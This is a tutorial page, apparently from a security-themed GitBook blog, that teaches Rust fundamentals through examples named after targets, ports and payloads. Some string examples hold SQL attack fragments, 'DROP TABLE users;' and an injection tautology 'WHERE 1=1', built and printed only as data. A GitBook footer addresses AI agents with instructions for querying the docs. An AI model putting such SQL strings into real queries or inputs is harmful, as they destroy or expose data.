*Rust has an interesting feature called shadowing. You can declare a new variable with the same name in the same scope using `let`, and the new one takes over from that point forward.....*

```rust
fn main() {
    let threat_level = 3;
    let threat_level = 9;

    println!("Threat level: {}", threat_level); // prints 9
}
```

*The second `threat_level` replaces the first. The value `3` is no longer accessible after that second declaration. This isn't reassigning it's creating a brand new variable that happens to share the name. Rust treats it as intentional, which is why it allows it rather than throwing an error.*

*This comes in handy when you want to transform a value and keep using the same name without juggling a bunch of different variable names.*

#### Shadowing Inside a Block

*Shadowing also works across blocks. You can reuse a name inside an inner block without affecting the variable in the outer block.*

```rust
fn main() {
    let threat_level = 3;

    {
        let threat_level = 9;
        println!("Inside block - Threat level: {}", threat_level); // prints 9
    }

    println!("Outside block - Threat level: {}", threat_level); // prints 3
}
```

*Inside the block, `threat_level` is `9`. Outside it, it's still `3`. The inner shadow only exists within its own block once that block closes, you're back to the original. Two variables, same name, different scopes, no conflict.*

## Strings

{% embed url="<https://youtu.be/Mcuqzx3rBWc?si=kQTdIaAvS1d0VtzT>" %}

*Strings store text. You've already seen the `&str` type as one way to work with strings in Rust.*

```rust
let target: &str = "192.168.1.1";
println!("{}", target);
```

*That's a string. `&str` is one of Rust's two main ways to work with text, and it's the simpler of the two you write the value directly, it's fixed, and it doesn't change.*

*But Rust has a second string type called `String`, which is more powerful and flexible.*

#### String

*There are two common ways to create a `String` in Rust. The first is using `.to_string()` on a string literal*

```rust
let target = "192.168.1.1".to_string();
```

*The second is using `String::from()`:*

```rust
let target = String::from("192.168.1.1");
```

*Both do exactly the same thing they take a fixed piece of text and turn it into a full `String` type. Which one you use comes down to personal preference*

#### Modifying a String

*Strings in Rust are mutable, but only if you declare them with `mut`. Once you do that, you can modify them freely.*

*Use `push_str()` to append a chunk of text onto the end of a string*

```rust
fn main() {
    let mut payload = String::from("exploit");
    payload.push_str("_injected");
    println!("{}", payload); // exploit_injected
}
```

*Use `push()` to add a single character*

```rust
fn main() {
    let mut command = String::from("DROP TABLE users");
    command.push(';');
    println!("{}", command); // DROP TABLE users;
}
```

#### Combining Strings

*When you need to join multiple strings together, the cleanest way is using the `format!` macro*

```rust
fn main() {
    let protocol = String::from("http");
    let target = String::from("192.168.1.1");
    let path = String::from("/admin");
    let url = format!("{}://{}{}", protocol, target, path);
    println!("{}", url); // http://192.168.1.1/admin
}
```

*You can also use the `+` operator, but it gets messy quickly when dealing with more than two strings*

```rust
fn main() {
    let protocol = String::from("http://");
    let target = String::from("192.168.1.1");
    let path = String::from("/admin");
    let url = protocol + &target + &path;
    println!("{}", url); // http://192.168.1.1/admin
}
```

*With `+` you can only add a `&str` to a `String`, which is why `&target` and `&path` are used here. `format!` doesn't have this restriction and is generally the cleaner choice when combining more than two strings.*

#### Getting the Length of a String

*Use `.len()` to get the number of characters in a string:*

```rust
fn main() {
    let payload = String::from("SELECT * FROM users");
    println!("Payload length: {}", payload.len()); // 19
}
```

*This comes in handy when you need to validate input length, build fixed size payloads, or check if a string is empty before processing it.*

## Ownership

{% embed url="<https://youtu.be/VFIOSWy93H0?si=ZoVsepw9kJ_ArYJs>" %}

*This is one of the most unique things about Rust. No other mainstream language works quite like this, and once it clicks, you'll understand why Rust is considered one of the safest systems programming languages out there......*

*In languages like C or C++, you manage memory yourself. You allocate it, you use it, and you're responsible for freeing it when you're done. Forget to free it and you have a memory leak. Free it too early and your program crashes. Free it twice and you have a serious bug. C and C++ trust you to get it right and that's exactly where most security vulnerabilities come from.*

*Rust takes a completely different approach. Instead of letting you manage memory manually, it has a set of rules called ownership that it enforces at compile time. No garbage collector, no manual memory management Rust just figures it out automatically based on these rules.*

### The Rules

*There are three simple rules that everything in Rust is built around:*

* *Every value has exactly one owner*
* *When the owner goes out of scope, the value is deleted automatically*
* *You can only have one owner at a time*

#### Basic Ownership

*When you assign a value to another variable, ownership moves. The original variable is no longer valid.*

```rust
fn main() {
    let target = String::from("192.168.1.1");
    let new_target = target;

    // println!("{}", target); // Error: target no longer owns the value
    println!("{}", new_target); // Ok: new_target owns it now
}
```

*`target` handed ownership over to `new_target`. From that point on, `target` is gone as far as Rust is concerned. Try to use it and Rust will stop you at compile time before the program even runs.*

*This is completely different from C or C++, where both variables would happily point to the same memory and you'd have no idea until something exploded at runtime.*

#### Simple Types are Copied, Not Moved

***Numbers, characters, and booleans** are so small and simple that Rust just copies them instead of moving ownership. So both variables work fine after the assignment.*

```rust
fn main() {
    let port = 8080;
    let backup_port = port;

    println!("Port: {}", port);         // Works
    println!("Backup port: {}", backup_port); // Works
}
```

*No ownership transfer here `port` just gets copied into `backup_port` and both live on independently.*

#### Clone

*What if you have a `String` and you genuinely need two separate copies of it? That's what `.clone()` is for. It makes a full independent copy of the data so both variables are valid at the same time.*

```rust
fn main() {
    let payload = String::from("SELECT * FROM users");
    let backup_payload = payload.clone();

    println!("Original: {}", payload);       // Works
    println!("Clone: {}", backup_payload);   // Works
}
```

*Both variables now own their own separate copy of the data. Change one and the other is unaffected.*

*That said, cloning isn't free it copies all the data in memory. If you just need to read a value without owning it, there's a better way called borrowing, which is coming up next.*

### Why This Matters

{% embed url="<https://youtu.be/DJdUjjOmyx8?si=AFlx856AIp05ImZ2>" %}

*In C and C++, memory bugs are one of the biggest sources of security vulnerabilities in the world. Buffer overflows, use-after-free, double-free these are all memory mistakes that have caused catastrophic real world exploits for decades.*

*Rust eliminates the entire category. The ownership system means:*

* *Memory is freed automatically the moment it's no longer needed*
* *You can never use memory that's already been deleted*
* *You can never accidentally have two parts of your program fighting over the same memory*

*And the best part none of this happens at runtime. Rust catches all of it at compile time. If your code compiles, these classes of bugs simply cannot exist in it.*

*That's why ownership feels strict at first. It is strict. But that strictness is exactly what makes Rust so safe and so fast at the same time.*

## Borrowing and References

{% embed url="<https://youtu.be/4RZzjXmXcKg?si=br-8HTvSD_BimXCU>" %}

*In the last part you learned that when you assign a value to another variable, ownership moves and the original is gone. But what if you just want to use a value without taking it away from its owner? That's where borrowing comes in.*

*Borrowing is Rust's way of letting you use a value without taking ownership of it. You do it using the `&` symbol, which creates a reference essentially a pointer to the value that says "I just want to look at this, not own it."*

#### What is a Reference?

*A reference lets you read a value without taking ownership. The original owner keeps the value, and you just borrow it temporarily*

```rust
fn main() {
    let target = String::from("192.168.1.1");
    let target_ref = &target;

    println!("Owner: {}", target);      // Works
    println!("Borrower: {}", target_ref); // Works
}
```

*`target_ref` is just borrowing the value. target still owns it. Both can be used at the same time because nothing got moved just referenced.*\
*This is different from what you saw in the ownership chapter. No clone, no move, no giving anything away. Just a reference.*

#### Mutable References

*A regular reference only lets you read a value. If you need to modify it through a reference, you need a mutable reference using `&mut`.*

```rust
fn main() {
    let mut payload = String::from("SELECT * FROM users");
    let payload_ref = &mut payload;

    payload_ref.push_str(" WHERE 1=1;");
    println!("{}", payload_ref); // SELECT * FROM users WHERE 1=1;
}
```

*The `mut` on the reference is what gives you permission to modify the value through it. Without it, Rust won't let you change anything.*

*You can only have one mutable reference to a value at a time. Rust enforces this strictly. The moment you have two mutable references to the same value, Rust stops you at compile time. This is intentional it prevents two parts of your program from modifying the same data simultaneously, which is a common source of bugs in C and C++.*

### Why Borrowing Matters

*Going back to the comparison with C and C++ in those languages you can have multiple pointers to the same memory, all modifying it at the same time, with no rules stopping you. That's a recipe for data corruption, race conditions, and security vulnerabilities.*

*Rust's borrowing system fixes this at the compiler level:*

* *You can have as many read-only references as you want at the same time*
* *You can only have one mutable reference at a time*
* *You cannot have a mutable reference and a read-only reference at the same time*

*These rules mean your data is always in a predictable state. No surprises, no corruption, no two parts of your program stepping on each other.*

*Borrowing also means you don't need to clone data just to pass it around. Cloning is expensive it copies everything in memory. A reference is just a pointer, which is cheap. So borrowing keeps your programs fast while keeping them safe at the same time.*

## Time to Practice&#x20;

<figure><img src="/files/ZKseg4BnXh59hiHCOncA" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.rustfinity.com/tracks/rust-fundamentals>" %}

*You have covered a lot of ground so far. Variables, data types, conditions, loops, functions, scope, ownership, borrowing that is a solid foundation and you should feel good about how far you have come.*

*But reading about code only takes you so far. The real learning happens when you sit down and actually write it yourself, make mistakes, and figure out why something is not working. That is when everything truly clicks.*

*So now it is time to get your hands dirty.*

*Head over to* [*https://www.rustfinity.com*](https://www.rustfinity.com/tracks/rust-fundamentals) *it has a dedicated Rust Fundamentals track with hands on challenges built around exactly what you have been learning. No setup, no configuration, just you and the problems right in the browser.*

*Work through the challenges at your own pace. You will get stuck on some of them that is completely normal and honestly that is the point. Getting stuck, thinking it through, and breaking through is where the real progress happens.*

*See you on the other side.*

## Data Structures

{% embed url="<https://youtu.be/FOkVwPWfSX4?si=XKe1CEoLlXeJOUBx>" %}

*As your programs grow, you need ways to organize and store data efficiently. Rust provides several built-in data structures, each suited for a different job. Here's a quick introduction to the four most common ones we'll go deeper into each one later.*

#### Arrays

*An array is a fixed size list of values, all of the same type. Once created, it cannot grow or shrink. Elements are accessed by their index, starting at `0`.*

```rust
fn main() {
    let targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"];
    println!("First target: {}", targets[0]);
    println!("Last target: {}", targets[2]);
}
```

Breaking it down:

* *`let targets = [...]` creates a fixed array of three IP addresses*
* *`targets[0]` accesses the first element, index always starts at `0`*
* *`targets[2]` accesses the third element, the last one in this array*

#### Vectors

*A vector works like an array but can grow and shrink as needed. It's the go-to choice when you don't know how many items you'll have upfront.*

```rust
fn main() {
    let mut open_ports = vec![80, 443];
    open_ports.push(8080);
    open_ports.push(22);
    println!("Ports found: {:?}", open_ports);
}
```

Breaking it down:

* *`let mut open_ports = vec![80, 443]` creates a vector with two ports already in it, `mut` makes it modifiable*
* *`.push(8080)` adds a new port to the end of the vector*
* *`{:?}` a debug formatter that prints the entire vector at once instead of one element at a time*

#### Tuples

*A tuple groups multiple values of different types together. Useful when you want to bundle related data that isn't all the same type. Elements are accessed using a dot followed by the index.*

```rust
fn main() {
    let target = ("192.168.1.1", 22, true);
    println!("IP: {}", target.0);
    println!("Port: {}", target.1);
    println!("Vulnerable: {}", target.2);
}
```

Breaking it down:

* *`let target = ("192.168.1.1", 22, true)` creates a tuple holding three different types: a string, a number, and a boolean*
* *`target.0` accesses the first element, the IP address*
* *`target.1` accesses the second element, the port number*
* *`target.2` accesses the third element, the vulnerability flag*

#### HashMaps

*A HashMap stores key-value pairs. You look up a value using its key think of it like a dictionary. To use it you need to import it from Rust's standard library first.*

```rust
use std::collections::HashMap;

fn main() {
    let mut services = HashMap::new();
    services.insert("ssh", 22);
    services.insert("http", 80);
    services.insert("https", 443);

    println!("SSH runs on port: {}", services["ssh"]);
}
```

Breaking it down:

* *`use std::collections::HashMap` imports HashMap from Rust's standard library, it's not available by default so you have to bring it in manually*
* *`HashMap::new()` creates a new empty HashMap*
* *`.insert("ssh", 22)` adds a key-value pair, `"ssh"` is the key and `22` is the value*
* *`services["ssh"]` looks up the value stored under the key `"ssh"` and returns `22`*&#x20;

#### **Quick Overview**

| Data Structure | Use Case                          | Can Grow? |
| -------------- | --------------------------------- | --------- |
| Array          | Fixed list of same type values    | No        |
| Vector         | Growable list of same type values | Yes       |
| Tuple          | Group different types together    | No        |
| HashMap        | Key-value lookup                  | Yes       |

## Arrays

*You got the quick version earlier but that was the appetizer. Now we're sitting down for the full meal An array lets you store multiple values in a single variable instead of declaring a separate variable for each one. All values in an array must be the same type.*

#### Creating an Array

*Use square brackets `[]` and separate each value with a comma*

```rust
fn main() {
    let open_ports = [22, 80, 443, 8080, 3306];
    println!("{:?}", open_ports);
}
```

Breaking it down:

* *`let open_ports = [...]` creates a fixed array of five port numbers*
* *All values are the same type integers*
* *Once created, the size cannot change*

#### Accessing Array Elements

*Access any element using its index number. Indexes always start at `0`.*

```rust
fn main() {
    let open_ports = [22, 80, 443, 8080, 3306];
    println!("First port: {}", open_ports[0]);
    println!("Third port: {}", open_ports[2]);
}
```

Breaking it down:

* *`open_ports[0]` grabs the first element, which is `22`*
* *`open_ports[2]` grabs the third element, which is `443`*

#### Changing Array Values

*To change a value, refer to its index and assign a new one. The array must be declared with `mut` first.*

```rs
fn main() {
    let mut open_ports = [22, 80, 443, 8080, 3306];
    open_ports[3] = 9090;
    println!("Updated port: {}", open_ports[3]);
}
```

Breaking it down:

* *`mut` makes the array modifiable*
* *`open_ports[3] = 9090`  replaces the value at index `3` from `8080` to `9090`*

#### Array Length

*Use `.len()` to get the total number of elements in an array.*

```rust
fn main() {
    let open_ports = [22, 80, 443, 8080, 3306];
    println!("Total ports found: {}", open_ports.len());
}
```

Breaking it down:

* *`.len()`  counts the elements and returns `5`*

#### Looping Through an Array

*Use a `for` loop to go through every element one by one.*

```rust
fn main() {
    let open_ports = [22, 80, 443, 8080, 3306];

    for port in open_ports {
        println!("Scanning port: {}", port);
    }
}
```

Breaking it down:

* *`for port in open_ports` Rust automatically goes through each element and assigns it to `port` on each pass*
* *No index needed, no counter to manage Rust handles it all*

#### Printing the Entire Array

*When printing a single element use `{}`. When printing the whole array at once use `{:?}`.*

```rust
fn main() {
    let open_ports = [22, 80, 443, 8080, 3306];

    println!("{:?}", open_ports);     // prints the whole array
    println!("{}", open_ports[0]);    // prints a single element
}
```

Breaking it down:

* *`{:?}` debug formatter, required when printing an entire data structure like an array*
* *`{}` standard formatter, works fine for single values like a number or string*

#### Arrays Summary

Here's everything covered in one place

```rust
fn main() {
    // Creating an array
    let open_ports = [22, 80, 443, 8080, 3306];

    // Accessing elements
    println!("First port: {}", open_ports[0]);

    // Changing a value
    let mut open_ports = [22, 80, 443, 8080, 3306];
    open_ports[0] = 9090;

    // Array length
    println!("Total ports: {}", open_ports.len());

    // Looping through
    for port in open_ports {
        println!("Port: {}", port);
    }

    // Printing the whole array
    println!("{:?}", open_ports);
}
```

**Key things to remember:**

* *All values must be the same type*
* *Indexes start at `0`*
* *Use `mut` if you need to change any values*
* *Use `{}` for a single element, `{:?}` for the whole array*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://top-gun-diary.gitbook.io/blog/rust-series/rust-fundamentals.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
